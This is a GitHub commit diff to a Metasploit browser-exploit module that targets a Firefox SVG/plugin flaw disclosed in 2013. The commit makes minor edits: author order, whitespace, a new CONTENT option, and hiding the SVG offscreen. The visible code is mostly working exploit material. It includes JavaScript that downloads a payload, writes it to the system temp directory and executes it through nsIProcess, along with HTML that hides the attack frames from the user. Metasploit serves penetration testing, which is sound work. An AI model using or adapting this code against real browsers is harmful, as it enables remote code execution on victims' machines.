Skip to content

Commit 178a43a

Browse files
committed
Whitespace tweaks and minor bug fix. Wrong payloads still run.
1 parent f4b6db8 commit 178a43a

File tree

1 file changed

+20
-13
lines changed

1 file changed

+20
-13
lines changed

modules/exploits/multi/browser/firefox_svg_plugin.rb

Lines changed: 20 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -71,8 +71,9 @@ def initialize(info = {})
7171
'DefaultTarget' => 0,
7272
'Author' =>
7373
[
74-
'joev', # metasploit module
75-
'Marius Mlynski' # discovery & bug report
74+
'Marius Mlynski', # discovery & bug report
75+
'joev' # metasploit module
76+
7677
],
7778
'References' =>
7879
[
@@ -83,6 +84,12 @@ def initialize(info = {})
8384
],
8485
'DisclosureDate' => 'Jan 08 2013'
8586
))
87+
88+
register_options(
89+
[
90+
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", '' ] )
91+
], Auxiliary::Timed)
92+
8693
end
8794

8895
def on_request_uri(cli, request)
@@ -105,7 +112,7 @@ def on_request_uri(cli, request)
105112
else
106113
# send initial HTML page
107114
print_status("Sending #{self.name}")
108-
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
115+
send_response_html(cli, generate_html)
109116
end
110117
handler(cli)
111118
end
@@ -153,12 +160,11 @@ def js_payload
153160
x.send(null);
154161
alert(x.responseText);
155162
var file = Components.classes["@mozilla.org/file/directory_service;1"]
156-
.getService(Components.interfaces.nsIProperties)
157-
.get("TmpD", Components.interfaces.nsIFile);
163+
.getService(Components.interfaces.nsIProperties)
164+
.get("TmpD", Components.interfaces.nsIFile);
158165
file.append('#{payload_filename}');
159-
160-
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"].
161-
createInstance(Components.interfaces.nsIFileOutputStream);
166+
var stream = Components.classes["@mozilla.org/network/safe-file-output-stream;1"]
167+
.createInstance(Components.interfaces.nsIFileOutputStream);
162168
stream.init(file, 0x04 \| 0x08 \| 0x20, 0666, 0);
163169
stream.write(x.responseText, x.responseText.length);
164170
if (stream instanceof Components.interfaces.nsISafeOutputStream) {
@@ -169,7 +175,7 @@ def js_payload
169175
#{chmod_code}
170176
alert(file.path);
171177
var process = Components.classes["@mozilla.org/process/util;1"]
172-
.createInstance(Components.interfaces.nsIProcess);
178+
.createInstance(Components.interfaces.nsIProcess);
173179
process.init(file);
174180
process.run(false,[],0);
175181
|
@@ -204,18 +210,18 @@ def generate_html
204210
:access_string => 'access',
205211
:frame_ref => 'frames[0]',
206212
:frame_name => 'n',
207-
:loader_path => "#{base_url}.swf"
213+
:loader_path => "#{base_url}.swf",
214+
:content => self.datastore['CONTENT'] || ''
208215
}
209216
%Q|
210217
<!doctype html>
211218
<html>
212219
<head>
213-
<meta http-equiv="content-type" content="text/html; charset=utf-8">
214220
<base href="chrome://browser/content/">
215221
</head>
216222
<body>
217223
218-
<svg>
224+
<svg style='position: absolute;top:-500px;left:-500px;width:1px;height:1px'>
219225
<symbol id="#{vars[:symbol_id]}">
220226
<foreignObject>
221227
<object></object>
@@ -250,7 +256,8 @@ def generate_html
250256
</script>
251257
252258
<iframe style="position:absolute;top:-500px;left:-500px;width:1px;height:1px"
253-
name="#{vars[:frame_name]}"></iframe>
259+
name="#{vars[:frame_name]}"></iframe>
260+
#{vars[:content]}
254261
</body>
255262
</html>
256263
|

0 commit comments

Comments
 (0)